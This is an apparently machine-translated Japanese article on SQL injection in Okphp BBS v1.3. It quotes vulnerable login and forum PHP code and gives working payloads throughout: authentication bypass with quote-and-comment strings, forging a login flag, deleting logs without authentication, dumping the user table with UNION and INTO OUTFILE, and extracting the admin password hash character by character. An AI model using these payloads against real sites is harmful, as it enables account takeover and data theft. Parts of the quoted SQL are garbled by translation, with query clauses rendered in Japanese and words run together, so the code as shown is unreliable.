1. 前書き:
バージョン情報: Okphp BBS v1.3 オープン ソース バージョン
PHP と MYSQL 自体のせいで、PHP + MYSQL のインジェクションは ASP よりも難しく、特にインジェクション中のステートメントの構築はさらに困難です。この記事は主に、Okphp BBS v1.3 のいくつかのファイルの簡単な分析を通じて php+mysql インジェクション ステートメントの構築方法について説明します。この記事があなたのお役に立てれば幸いです。
免責事項: 記事内で言及されているすべての「脆弱性」はテストされておらず、実際には、抜け穴があるかどうかは重要ではありません。
2.「脆弱性」分析:
1.admin/login.phpインジェクションにより認証バイパスの脆弱性が発生:
コード:
コードをコピー コードは次のとおりです:
$conn=sql_connect($dbhost , $ dbuser, $dbpswd, $dbname);
$password = md5($password)
$q = "username='$username'、password='$password' の $user_table から id,group_id を選択します。 $res = sql_query($q,$conn);
$row = sql_fetch_row($res)
$q = "username='$username'、password='$password' の $user_table から id,group_id を選択します。
$username と $password はフィルタリングされていないため、簡単にバイパスできます。
select * from $user_table where username='$username' andpassword='$password' のようなステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' OR 'a'='a $password =' OR 'a'='a
SQL ステートメントと同等:
select * from $user_table where username='' OR 'a'='a' andpassword='' OR 'a'='a'
構築 2 ($password をコメントアウトするには、mysql のコメント ステートメント # # /* を使用します): $username=admin'# (または admin'/*)
つまり:
select * from $user_table where username='admin'#' and password='$password'"
同等:
select * from $user_table where username='admin'
admin/login.php の $q ステートメントの $password は、クエリの前に md5 暗号化されるため、使用できません。ここでは、構成 1 のステートメントはバイパスされます。
select id,group_id from $user_table where username='admin'#' と、password='$password'"
以下と同等です。
select id,group_id from $user_table where username='admin'
これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名が不明な場合は、対応する ID のみがわかります。
次のように構築できます: $username=' OR id=1#
これは次と同等です:
select id,group_id from $user_table where username='' OR id=1# and password='$password' (# 以降はコメントアウトされています)
次にコードを見ていきます:
コードをコピーします コードは次のとおりです:
if ($row[0]) {
// 管理者またはスーパーモデレータでない場合
if ($username != "admin" && !eregi(" (^|&)3($|&)", $row[1])) {
$login = 0;
}
else {
$login = 1;
}
}
// ログインに失敗します-- ------------------------
if (!$login) {
write_log("モデレーターログイン","0","パスワードが間違っています");
echo " ";
exit();
}
// Access ! ------- ------
else {
session_start()
最後に$で判断します。ログインする必要があるのは、IE を介して直接 $login=1 を送信することだけです:)。
2. Users/login.php インジェクションが認証バイパスの脆弱性を引き起こす:
コード:
コードをコピー コードは次のとおりです:
$md5password = md5($password);
$q = "select id, group_id,email from $user_table where username='$username' and passwd='$md5password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username フィルタリングを行わず、1 と同じコメントを使用し、password='$md5password'";
3. adminloglist.php に任意削除ログレコードの脆弱性が存在します。(追記:これは php+ とは関係ないようです) mysql インジェクション、言及してください)
okphp バックエンドは非常にずさんに書かれているようで、すべてのファイルは管理者がログインしているかどうかをチェックしないため、任意にアクセスできます。 list.php のコードを見てみましょう。
コードをコピーします
コードは次のとおりです:
$arr = array("del_log","log_id","del_id");
get_r($arr)
//
省略…
if ( $log_id) {
foreach ($log_id as $val) {
$q = "id='$val' の $log_table から削除します";
$res = sql_query($q,$conn)
if ($res
}
$ tpl->setVariable("message","$i log added ok!");
$tpl->setVariable("action","index.php?action=list_log")
}
コードget_r($arr); を使用して、送信されたパラメータを決定するだけです。必要なのは、対応する $del_log、$log_id、$del_id だけです。削除は成功します。
4. 複数のファイルは変数をフィルタリングしないため、SQL インジェクションの脆弱性が発生します。
okphp の作者はフィルタリングが好きではないようです:)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.phpのコードを見てください:
コードをコピーします
コードは次のとおりです:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num ,recovery_num,post_num from $ type_table where id='$forum_id'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); 変数 $forum_id はフィルタリングされません。 mysql はサブクエリをサポートしていません。ユニオン構築ステートメントを使用して結合クエリを実行し (MySQL バージョン 4.00 以降が必要)、データベース間の操作を実現できます。
構築 1: SELECT * FROM table INTO OUTFILE を使用します。 '/path/file.txt' (mysql にファイル権限が必要です)、Win システムでは絶対パスに注意してください (c://path//file.txt など)。クエリされたコンテンツを file.txt に入力すると、http://ip/path/file.txt を通じてクエリ結果にアクセスできます。上記のように $forum_id を構築できます: $forum_id=' Union select * from user_table into outfile '/path/file.txt'
以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id , topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' Union select * from user_table into outfile '/path/file.txt'";
上記の方法はより要求が厳しく、次のパスを取得する必要があります。 Web (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)、PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されるのを防ぎます。 magic_gpc=on の場合は、以下をバイパスすることもできます。
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるようにして解決策を推測します。このメソッドは一重引用符 (magic_gpc. =on) 注入を続けますが、この注入は、特定のコードによっては php では比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、okphp と組み合わせて「異なる戻り結果」インジェクションを使用する例を示します (脆弱性 5 を参照)。
5.admin/login.php と users/login.php は、SQL ステートメントの構築を通じて、指定されたユーザー パスワード ハッシュを取得するために推測できます: (実際には、これは脆弱性 1 と 2 と同じです。ここでは主に個別に取り出しています)ステートメントの構造を説明します。)
問題のコードは脆弱性 1 と同じです。
ステートメントの構造(追記:ステートメント自体はユーザーライブラリを操作するものなので、unionを使う必要はありません):
$username=admin' AND LENGTH(password)=6#
SQLステートメントは次のようになります:
$q = "select id ,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and passwd='$password'" 以下と同等:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
LENGTH(password)=6がtrueの場合は正常に戻りますが、trueでない場合はmysqlがエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。たとえば、 $username=admin' ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁の ASCII コード値を推測できます....
http://www.bkjia.com/PHPjc/320715.html
www.bkjia.com
true
http://www.bkjia.com/PHPjc/320715.html
技術記事 1. 前書き: バージョン情報: Okphp BBS v1.3 オープン ソース バージョン PHP と MYSQL 自体のせいで、PHP + MYSQL のインジェクションは asp よりも難しく、特にインジェクション中のステートメントの構築はさらに困難です。 .